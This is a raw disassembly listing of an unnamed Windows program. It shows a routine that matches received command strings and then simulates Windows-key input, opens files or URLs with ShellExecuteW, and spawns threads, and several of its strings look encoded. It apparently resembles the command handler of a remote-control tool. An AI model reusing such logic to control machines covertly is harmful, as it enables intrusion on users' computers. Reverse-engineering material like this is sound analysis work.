call fcn.0042bd20
mov byte [ebp - 4], 0x43
push 0x2c
mov dword [ebp - 0x74], 0
mov dword [ebp - 0x70], 0
call fcn.0054db04
add esp, 4
mov dword [eax], eax
mov dword [eax + 4], eax
mov dword [eax + 8], eax
mov word [eax + 0xc], 0x101
mov dword [ebp - 0x74], eax
lea edx, [ebp - 0x74]
mov byte [ebp - 4], 0x44
lea ecx, [ebp - 0xb4]
call fcn.004479a0
mov esi, dword [ebp - 0x38]
lea eax, [ebp - 0x74]
push eax
mov ecx, dword [esi + 0xc]
call fcn.00416010
mov eax, dword [ebp - 0x74]
push dword [eax + 4]
lea eax, [ebp - 0x74]
push eax
mov ecx, eax
call fcn.00450d50
push 0x2c
push dword [ebp - 0x74]
call fcn.0054db34
add esp, 8
mov dword [ebp - 4], 0x42
jmp 0x528c0f
mov edi, dword [esi]
sub esp, 0x18
mov ecx, esp
push 0x5c93e4
call fcn.0042e9e0
lea ecx, [ebp - 0x30]
call fcn.00445090
add esp, 0x18
mov eax, dword [eax]
nop dword [eax]
mov cx, word [eax]
cmp cx, word [edi]
jne 0x528c56
test cx, cx
je 0x528c52
mov cx, word [eax + 2]
cmp cx, word [edi + 2]
jne 0x528c56
add eax, 4
add edi, 4
test cx, cx
jne 0x528c30
xor edi, edi
jmp 0x528c5b
sbb edi, edi
or edi, 1
mov edx, dword [ebp - 0x30]
or eax, 0xffffffff
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x528c76
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
test edi, edi
je 0x527aa4
push 0x3b
xorps xmm0, xmm0
mov dword [ebp - 0xd4], 0
push str.dGhSdYw9K7MxMEmSnJZmVBNwLEBwH4JTwDwATwHXGx9wXWVYFOMwoa4Si8e
lea ecx, [ebp - 0xe4]
mov dword [ebp - 0xd0], 0
movups xmmword [ebp - 0xe4], xmm0
call fcn.0042d600
push 1
push ecx
mov byte [ebp - 4], 0x4b
lea eax, [ebp - 0xe4]
mov edi, dword [esi + 0x10]
mov esi, esp
sub esp, 0x18
mov ecx, esp
push eax
call fcn.0042e9e0
mov ecx, esi
call fcn.00445090
add esp, 0x18
mov ecx, edi
call fcn.004624a0
mov ecx, dword [ebp - 0xd0]
cmp ecx, 8
jb 0x527aa4
mov edx, dword [ebp - 0xe4]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x528d16
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52a5c6
push ecx
push edx
call fcn.0054db34
add esp, 8
jmp 0x527aa4
sub esp, 0x18
mov ecx, esp
push 0x5c4700
call fcn.0042d1c0
lea ecx, [ebp - 0x68]
call fcn.00444d40
add esp, 0x18
mov edx, eax
test edi, edi
je 0x528d85
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x30], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x528d50
sub ecx, dword [ebp - 0x30]
je 0x528d85
mov eax, dword [edx + 0x10]
test eax, eax
je 0x528d85
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x4c], esi
jb 0x528d70
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.0055e510
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x24], eax
jmp 0x528d8c
mov dword [ebp - 0x24], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x528dc0
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x528db6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52a5c6
push ecx
push edx
call fcn.0054db34
add esp, 8
cmp dword [ebp - 0x24], 0
je 0x528e54
xorps xmm0, xmm0
mov dword [ebp - 0xa4], 0
movups xmmword [ebp - 0xb4], xmm0
mov dword [ebp - 0xa0], 0xf
mov byte [ebp - 0xb4], 0
mov ecx, edi
mov dword [ebp - 4], 0x4c
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x528e00
sub ecx, edx
lea eax, [ebp - 0xb4]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x70]
call fcn.0052aa40
mov esi, dword [ebp - 0x38]
lea edx, [ebp - 0xb4]
add esp, 8
mov ecx, esi
cmp dword [ebp - 0xa0], 0x10
cmovae edx, dword [ebp - 0xb4]
call fcn.0052a7d0
test al, al
je 0x527aa4
mov byte [esi + 0x9c], 1
jmp 0x527aa4
sub esp, 0x18
mov ecx, esp
push 0x5c4718
call fcn.0042d1c0
lea ecx, [ebp - 0x68]
call fcn.00444d40
add esp, 0x18
mov edx, eax
test edi, edi
je 0x528eb5
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x30], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x528e80
sub ecx, dword [ebp - 0x30]
je 0x528eb5
mov eax, dword [edx + 0x10]
test eax, eax
je 0x528eb5
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x4c], esi
jb 0x528ea0
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.0055e510
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x24], eax
jmp 0x528ebc
mov dword [ebp - 0x24], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x528ef0
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x528ee6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52a5c6
push ecx
push edx
call fcn.0054db34
add esp, 8
cmp dword [ebp - 0x24], 0
je 0x5290c5
xorps xmm0, xmm0
mov dword [ebp - 0xa4], 0
movups xmmword [ebp - 0xb4], xmm0
mov dword [ebp - 0xa0], 0xf
mov byte [ebp - 0xb4], 0
mov ecx, edi
mov dword [ebp - 4], 0x4d
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x528f30
sub ecx, edx
lea eax, [ebp - 0xb4]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x70]
call fcn.0052aa40
mov ecx, dword [ebp - 0x38]
lea edx, [ebp - 0xb4]
add esp, 8
cmp dword [ebp - 0xa0], 0x10
cmovae edx, dword [ebp - 0xb4]
call fcn.0052a7d0
test al, al
je 0x527aa4
mov byte [ebp - 4], 0x4e
call fcn.0042efe0
mov ecx, eax
test ecx, ecx
je 0x52a670
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x24], eax
mov byte [ebp - 4], 0x4f
lea ecx, [ebp - 0xe4]
push 0x40
xorps xmm0, xmm0
mov dword [ebp - 0xd4], 0
push str.ZzJ4FNRwQZGUUXNEFgPjR0lagVAtbcDlA4uRRFbVA10P6F0cIiWBdC0RQsXRGk8
movups xmmword [ebp - 0xe4], xmm0
mov dword [ebp - 0xd0], 0
call fcn.0042d600
lea ecx, [ebp - 0x298]
mov byte [ebp - 4], 0x50
call fcn.00434ad0
mov byte [ebp - 4], 0x51
lea ecx, [ebp - 0xb4]
cmp dword [ebp - 0xa0], 0x10
mov eax, dword [ebp - 0xa4]
cmovae ecx, dword [ebp - 0xb4]
add eax, ecx
push eax
push ecx
lea eax, [ebp - 0x68]
push eax
lea ecx, [ebp - 0x298]
call fcn.00435bf0
lea ecx, [ebp - 0x298]
call fcn.00434a50
mov byte [ebp - 4], 0x52
lea esi, [ebp - 0x68]
cmp dword [ebp - 0x54], 8
lea eax, [ebp - 0xe4]
cmovae esi, dword [ebp - 0x68]
sub esp, 0x18
mov ecx, esp
push eax
call fcn.0042e9e0
lea ecx, [ebp - 0x30]
call fcn.00445090
push esi
mov byte [ebp - 4], 0x53
push dword [eax]
lea eax, [ebp - 0x24]
push eax
call fcn.004218d0
mov edx, dword [ebp - 0x30]
or edi, 0xffffffff
add esp, 0x24
add edx, 0xfffffff0
mov eax, edi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x52906d
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
lea ecx, [ebp - 0x68]
mov byte [ebp - 4], 0x50
call fcn.0042eb40
push ecx
mov esi, esp
mov dword [ebp - 0x70], esi
mov eax, dword [ebp - 0x24]
add eax, 0xfffffff0
mov ecx, eax
mov dword [ebp - 0x30], eax
call fcn.0042e8d0
mov ecx, dword [ebp - 0x38]
add eax, 0x10
mov dword [esi], eax
call fcn.00525d30
lea ecx, [ebp - 0xe4]
call fcn.0042eb40
mov edx, dword [ebp - 0x30]
lock xadd dword [edx + 0xc], edi
dec edi
test edi, edi
jg 0x527aa4
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
jmp 0x527aa4
sub esp, 0x18
mov ecx, esp
push 0x5c4760
call fcn.0042d1c0
lea ecx, [ebp - 0x68]
call fcn.00444d40
add esp, 0x18
mov edx, eax
test edi, edi
je 0x529125
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x30], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x5290f0
sub ecx, dword [ebp - 0x30]
je 0x529125
mov eax, dword [edx + 0x10]
test eax, eax
je 0x529125
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x4c], esi
jb 0x529110
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.0055e510
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x24], eax
jmp 0x52912c
mov dword [ebp - 0x24], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x529160
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x529156
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52a5c6
push ecx
push edx
call fcn.0054db34
add esp, 8
cmp dword [ebp - 0x24], 0
je 0x5292a4
xorps xmm0, xmm0
mov dword [ebp - 0x8c], 0
movups xmmword [ebp - 0x9c], xmm0
mov dword [ebp - 0x88], 0xf
mov byte [ebp - 0x9c], 0
mov ecx, edi
mov dword [ebp - 4], 0x54
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x5291a0
sub ecx, edx
lea eax, [ebp - 0x9c]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x70]
call fcn.0052aa40
add esp, 8
mov byte [ebp - 4], 0x55
call fcn.0042efe0
mov ecx, eax
test ecx, ecx
je 0x52a5d0
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x3c], eax
mov byte [ebp - 4], 0x57
call fcn.0042efe0
mov ecx, eax
test ecx, ecx
je 0x52a5d0
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 0x2c]
mov byte [ebp - 4], 0x58
push eax
lea edx, [ebp - 0x3c]
lea ecx, [ebp - 0x9c]
call fcn.0044a3b0
add esp, 4
lea eax, [ebp - 0x3c]
push eax
call fcn.0052a6f0
mov ecx, dword [eax]
test ecx, ecx
je 0x529254
mov eax, dword [ebp - 0x38]
push ecx
push ecx
mov edi, esp
mov eax, dword [eax + 0x10]
mov dword [ebp - 0x70], edi
mov esi, dword [ebp - 0x2c]
mov dword [ebp - 0x30], eax
lea ecx, [esi - 0x10]
call fcn.0042e8d0
mov ecx, dword [ebp - 0x30]
add eax, 0x10
mov dword [edi], eax
call fcn.004624a0
jmp 0x529257
mov esi, dword [ebp - 0x2c]
lea edx, [esi - 0x10]
or esi, 0xffffffff
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x529271
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x3c]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], esi
dec esi
test esi, esi
jg 0x529289
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov ecx, dword [ebp - 0x88]
cmp ecx, 0x10
jb 0x52a531
mov edx, dword [ebp - 0x9c]
inc ecx
jmp 0x527aba
sub esp, 0x18
mov ecx, esp
push 0x5c4910
call fcn.0042d1c0
lea ecx, [ebp - 0x68]
call fcn.00444d40
add esp, 0x18
mov edx, eax
test edi, edi
je 0x529305
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x30], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x5292d0
sub ecx, dword [ebp - 0x30]
je 0x529305
mov eax, dword [edx + 0x10]
test eax, eax
je 0x529305
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x4c], esi
jb 0x5292f0
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.0055e510
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x24], eax
jmp 0x52930c
mov dword [ebp - 0x24], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x529340
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x529336
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52a5c6
push ecx
push edx
call fcn.0054db34
add esp, 8
cmp dword [ebp - 0x24], 0
je 0x5295f1
xorps xmm0, xmm0
mov dword [ebp - 0x8c], 0
movups xmmword [ebp - 0x9c], xmm0
mov dword [ebp - 0x88], 0xf
mov byte [ebp - 0x9c], 0
mov ecx, edi
mov dword [ebp - 4], 0x59
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x529380
sub ecx, edx
lea eax, [ebp - 0x9c]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x70]
call fcn.0052aa40
add esp, 8
call fcn.0042efe0
mov ecx, eax
test ecx, ecx
je 0x52a67a
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x3c], eax
push 0x594764
lea ecx, [ebp - 0x3c]
mov byte [ebp - 4], 0x5a
call fcn.0042f250
test al, al
jne 0x5293e2
push 0
push 0x594764
lea ecx, [ebp - 0x3c]
call fcn.0042f580
mov byte [ebp - 4], 0x5b
call fcn.0042efe0
mov ecx, eax
test ecx, ecx
je 0x52a684
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x44], eax
push 0x594764
lea ecx, [ebp - 0x44]
mov byte [ebp - 4], 0x5c
call fcn.0042f250
test al, al
jne 0x529426
push 0
push 0x594764
lea ecx, [ebp - 0x44]
call fcn.0042f580
mov byte [ebp - 4], 0x5d
call fcn.0042efe0
mov ecx, eax
test ecx, ecx
je 0x52a68e
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x38], eax
push 0x594764
lea ecx, [ebp - 0x38]
mov byte [ebp - 4], 0x5e
call fcn.0042f250
test al, al
jne 0x52946a
push 0
push 0x594764
lea ecx, [ebp - 0x38]
call fcn.0042f580
lea eax, [ebp - 0x24]
mov byte [ebp - 4], 0x5f
push eax
lea eax, [ebp - 0x44]
mov dword [ebp - 0x24], 0
push eax
lea eax, [ebp - 0x38]
push eax
lea edx, [ebp - 0x3c]
lea ecx, [ebp - 0x9c]
call fcn.0044a7d0
add esp, 0xc
call fcn.0042efe0
mov ecx, eax
test ecx, ecx
je 0x52a5d0
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x2c], eax
push 0x594764
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 0x60
call fcn.0042f250
test al, al
jne 0x5294d2
push 0
push 0x594764
lea ecx, [ebp - 0x2c]
call fcn.0042f580
lea eax, [ebp - 0x2c]
mov byte [ebp - 4], 0x61
mov edi, dword [ebp - 0x24]
lea edx, [ebp - 0x38]
push eax
push 2
lea eax, [ebp - 0x3c]
push edi
push eax
lea ecx, [ebp - 0x44]
call fcn.0044c2f0
mov byte [ebp - 4], 0x5f
or esi, 0xffffffff
mov edx, dword [ebp - 0x2c]
add esp, 0x10
add edx, 0xfffffff0
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x529513
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
call fcn.0042efe0
mov ecx, eax
test ecx, ecx
je 0x52a5d0
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x2c], eax
push 0x594764
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 0x62
call fcn.0042f250
test al, al
jne 0x529553
push 0
push 0x594764
lea ecx, [ebp - 0x2c]
call fcn.0042f580
lea eax, [ebp - 0x2c]
mov byte [ebp - 4], 0x63
push eax
push 0x10
lea eax, [ebp - 0x3c]
push edi
push eax
lea edx, [ebp - 0x38]
lea ecx, [ebp - 0x44]
call fcn.0044c2f0
mov edx, dword [ebp - 0x2c]
add esp, 0x10
add edx, 0xfffffff0
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x52958a
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x38]
mov eax, esi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x5295a4
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x44]
mov eax, esi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x5295be
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x3c]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], esi
dec esi
test esi, esi
jg 0x5295d6
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov ecx, dword [ebp - 0x88]
cmp ecx, 0x10
jb 0x52a531
mov edx, dword [ebp - 0x9c]
inc ecx
jmp 0x527aba
sub esp, 0x18
mov ecx, esp
push 0x5c47d8
call fcn.0042d1c0
lea ecx, [ebp - 0x68]
call fcn.00444d40
add esp, 0x18
mov edx, eax
test edi, edi
je 0x529655
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x30], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x529620
sub ecx, dword [ebp - 0x30]
je 0x529655
mov eax, dword [edx + 0x10]
test eax, eax
je 0x529655
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x4c], esi
jb 0x529640
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.0055e510
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x24], eax
jmp 0x52965c
mov dword [ebp - 0x24], 0
lea ecx, [ebp - 0x68]
call fcn.0042d500
cmp dword [ebp - 0x24], 0
je 0x5297e1
lea eax, [esi + edi]
push eax
lea ecx, [ebp - 0x3c]
call fcn.0042df70
lea eax, [ebp - 0x3c]
mov dword [ebp - 4], 0x64
push eax
call fcn.0052a6f0
lea ecx, [ebp - 0x2c]
mov edi, dword [eax]
mov dword [ebp - 0x50], edi
call fcn.004201e0
push str.WTk5qNiIbRWEYppGxkMpeUIbtXjBd8XGku4UFdStNk4buDHsc3TkV7qREQ
lea ecx, [ebp - 0x130]
mov byte [ebp - 4], 0x65
call fcn.0042ed90
sub esp, 0x18
mov byte [ebp - 4], 0x66
mov esi, dword [ebp - 0x3c]
lea eax, [ebp - 0x130]
mov ecx, esp
push eax
call fcn.0042e9e0
lea ecx, [ebp - 0x30]
call fcn.00445090
push esi
mov byte [ebp - 4], 0x67
push dword [eax]
lea eax, [ebp - 0x2c]
push eax
call fcn.004218d0
add esp, 0x24
mov byte [ebp - 4], 0x66
lea ecx, [ebp - 0x30]
call fcn.0042e050
lea eax, [edi - 4]
cmp eax, 0x3c
ja case.0x5296fd.5
movzx eax, byte [eax + 0x52a6ac]
jmp dword [eax*4 + 0x52a698]
mov esi, dword [ebp - 0x38]
lea ecx, [ebp - 0x68]
push str.cVRvMWAp2IDigBBdlV4NCnYBhNwU9qCTESJNRsxgHjocbekt06FHoebMgk9NAx0cCFwExJAXpLgdAk5dHScKCJQwp
mov eax, dword [esi + 0xc]
mov dword [eax + 0x118], 0
call fcn.0042ed90
push 4
push ecx
mov byte [ebp - 4], 0x68
lea eax, [ebp - 0x68]
mov edi, dword [esi + 0x10]
mov esi, esp
sub esp, 0x18
mov ecx, esp
push eax
call fcn.0042e9e0
mov ecx, esi
call fcn.00445090
add esp, 0x18
mov ecx, edi
call fcn.004624a0
lea ecx, [ebp - 0x68]
mov byte [ebp - 4], 0x66
call fcn.0042eb40
jmp 0x5297a0
mov eax, dword [ebp - 0x38]
mov eax, dword [eax + 0xc]
mov byte [eax + 0x10b], 0
call fcn.00405d70
jmp 0x5297a0
mov eax, dword [ebp - 0x38]
mov eax, dword [eax + 0xc]
mov dword [eax + 0x11c], 0
jmp 0x5297a0
mov esi, dword [sym.imp.USER32.dll_keybd_event]
push 0
push 0
push 0
push 0x5b
call esi
push 0
push 2
push 0
push 0x5b
call esi
jmp 0x5297a0
test edi, edi
je 0x5297c6
mov eax, dword [ebp - 0x38]
push dword [ebp - 0x50]
push ecx
mov edi, dword [eax + 0x10]
mov esi, esp
mov dword [ebp - 0x70], esi
mov ecx, dword [ebp - 0x2c]
lea ecx, [ecx - 0x10]
call fcn.0042e8d0
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.004624a0
lea ecx, [ebp - 0x130]
call fcn.0042eb40
lea ecx, [ebp - 0x2c]
call fcn.0042e050
lea ecx, [ebp - 0x3c]
jmp 0x52a52c
sub esp, 0x18
mov ecx, esp
push 0x5c48e0
call fcn.0042d1c0
lea ecx, [ebp - 0x68]
call fcn.00444d40
add esp, 0x18
mov edx, eax
test edi, edi
je 0x529845
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x30], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x529810
sub ecx, dword [ebp - 0x30]
je 0x529845
mov eax, dword [edx + 0x10]
test eax, eax
je 0x529845
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x4c], esi
jb 0x529830
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.0055e510
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x24], eax
jmp 0x52984c
mov dword [ebp - 0x24], 0
lea ecx, [ebp - 0x68]
call fcn.0042d500
cmp dword [ebp - 0x24], 0
je 0x529dba
xorps xmm0, xmm0
mov dword [ebp - 0xbc], 0
movups xmmword [ebp - 0xcc], xmm0
mov dword [ebp - 0xb8], 0xf
mov byte [ebp - 0xcc], 0
mov ecx, edi
mov dword [ebp - 4], 0x69
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x529890
sub ecx, edx
lea eax, [ebp - 0xcc]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x70]
call fcn.0052aa40
sub esp, 0x10
mov ecx, esp
push 0x5c4a00
call fcn.0042d1c0
lea ecx, [ebp - 0x68]
call fcn.00444d40
add esp, 0x18
cmp dword [eax + 0x14], 0x10
mov edx, dword [eax + 0x10]
jb 0x5298d4
mov eax, dword [eax]
cmp dword [ebp - 0xb8], 0x10
lea ecx, [ebp - 0xcc]
push edx
cmovae ecx, dword [ebp - 0xcc]
mov edx, dword [ebp - 0xbc]
push eax
call fcn.00452d90
add esp, 8
mov byte [ebp - 0x31], al
lea ecx, [ebp - 0x68]
call fcn.0042d500
cmp byte [ebp - 0x31], 0
je 0x5299d7
push 0xa8
lea eax, [ebp - 0x248]
push 0
push eax
call fcn.0054f8e0
add esp, 0xc
mov dword [ebp - 0x248], 1
mov eax, 0x5b
mov dword [ebp - 0x22c], 1
mov word [ebp - 0x244], ax
mov ecx, 0x10
mov word [ebp - 0x1f0], ax
mov edx, 0x53
push 0x1c
lea eax, [ebp - 0x248]
mov word [ebp - 0x228], cx
push eax
push 6
mov dword [ebp - 0x210], 1
mov word [ebp - 0x20c], dx
mov dword [ebp - 0x1f4], 1
mov dword [ebp - 0x1ec], 2
mov dword [ebp - 0x1d8], 1
mov word [ebp - 0x1d4], cx
mov dword [ebp - 0x1d0], 2
mov dword [ebp - 0x1bc], 1
mov word [ebp - 0x1b8], dx
mov dword [ebp - 0x1b4], 2
call dword [sym.imp.USER32.dll_SendInput]
lea ecx, [ebp - 0xcc]
call fcn.0042d500
jmp 0x52a531
sub esp, 0x18
mov ecx, esp
push 0x5c4a18
call fcn.0042d1c0
lea ecx, [ebp - 0x68]
call fcn.00444d40
add esp, 0x18
cmp dword [eax + 0x14], 0x10
mov edx, dword [eax + 0x10]
jb 0x5299fc
mov eax, dword [eax]
cmp dword [ebp - 0xb8], 0x10
lea ecx, [ebp - 0xcc]
push edx
cmovae ecx, dword [ebp - 0xcc]
mov edx, dword [ebp - 0xbc]
push eax
call fcn.00452d90
add esp, 8
mov byte [ebp - 0x31], al
lea ecx, [ebp - 0x68]
call fcn.0042d500
cmp byte [ebp - 0x31], 0
je 0x529a52
push 0
push 0
push 0x44c230
call fcn.005590fa
add esp, 0xc
lea ecx, [ebp - 0xcc]
call fcn.0042d500
jmp 0x52a531
sub esp, 0x18
mov ecx, esp
push 0x5c4a30
call fcn.0042d1c0
lea ecx, [ebp - 0x68]
call fcn.00444d40
add esp, 0x18
cmp dword [eax + 0x14], 0x10
mov edx, dword [eax + 0x10]
jb 0x529a77
mov eax, dword [eax]
cmp dword [ebp - 0xb8], 0x10
lea ecx, [ebp - 0xcc]
push edx
cmovae ecx, dword [ebp - 0xcc]
mov edx, dword [ebp - 0xbc]
push eax
call fcn.00452d90
add esp, 8
mov byte [ebp - 0x31], al
lea ecx, [ebp - 0x68]
call fcn.0042d500
sub esp, 0x18
cmp byte [ebp - 0x31], 0
mov ecx, esp
je 0x529beb
push 0x5c49d0
call fcn.0042d1c0
lea ecx, [ebp - 0x68]
call fcn.00444d40
add esp, 0x18
mov byte [ebp - 4], 0x6a
cmp dword [eax + 0x14], 0x10
jb 0x529ad6
mov eax, dword [eax]
push eax
lea ecx, [ebp - 0x38]
call fcn.0042df70
lea ecx, [ebp - 0x68]
mov byte [ebp - 4], 0x6c
call fcn.0042d500
push 0xa
push 0
push 0
push dword [ebp - 0x38]
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
ja 0x529da2
call dword [sym.imp.KERNEL32.dll_GetLastError]
push str.RFQ1HQzQmFWicxUN0E
lea ecx, [ebp - 0x44]
mov esi, eax
call fcn.0042f690
push str.VXQ0ANScrIVlw7pK1tFxMBprIUCcGXW0c
lea ecx, [ebp - 0x3c]
mov byte [ebp - 4], 0x6d
call fcn.0042f690
push str.bXhMdYUsdxDw4JlHXFEVAQ0
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], 0x6e
call fcn.0042f690
lea ecx, [ebp - 0x2c]
call fcn.004201e0
push esi
push ecx
mov byte [ebp - 4], 0x70
mov esi, esp
mov dword [ebp - 0x70], esi
mov ecx, dword [ebp - 0x1c]
lea ecx, [ecx - 0x10]
call fcn.0042e8d0
add eax, 0x10
lea ecx, [ebp - 0x30]
mov dword [esi], eax
call fcn.00445470
add esp, 4
mov byte [ebp - 4], 0x71
push dword [eax]
lea eax, [ebp - 0x2c]
push eax
call fcn.004218d0
add esp, 0xc
mov byte [ebp - 4], 0x70
lea ecx, [ebp - 0x30]
call fcn.0042e050
push 0x594764
lea ecx, [ebp - 0x48]
call fcn.0042f690
push 0x594764
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], 0x72
call fcn.0042f690
push ecx
mov ecx, esp
mov byte [ebp - 4], 0x73
lea eax, [ebp - 0x3c]
mov dword [ebp - 0x70], ecx
push eax
call fcn.0042e990
lea ecx, [ebp - 0x50]
call fcn.00445470
mov esi, eax
lea eax, [ebp - 0x44]
mov byte [ebp - 4], 0x74
mov ecx, esp
push eax
call fcn.0042e9b0
lea ecx, [ebp - 0x30]
call fcn.00445470
add esp, 4
mov byte [ebp - 4], 0x75
jmp 0x529d4a
push 0x5c49e8
call fcn.0042d1c0
lea ecx, [ebp - 0x68]
call fcn.00444d40
add esp, 0x18
lea ecx, [ebp - 0xcc]
mov edx, eax
call fcn.0052aab0
lea ecx, [ebp - 0x68]
mov byte [ebp - 0x31], al
call fcn.0042d500
cmp byte [ebp - 0x31], 0
je 0x529daa
sub esp, 0x18
mov ecx, esp
push 0x5c49e8
call fcn.0042d1c0
lea ecx, [ebp - 0x68]
call fcn.00444d40
add esp, 0x18
mov ecx, eax
mov byte [ebp - 4], 0x76
call fcn.0042d2f0
push eax
lea ecx, [ebp - 0x38]
call fcn.0042df70
lea ecx, [ebp - 0x68]
mov byte [ebp - 4], 0x78
call fcn.0042d500
push 0xa
push 0
push 0
push dword [ebp - 0x38]
push str.open
push 0
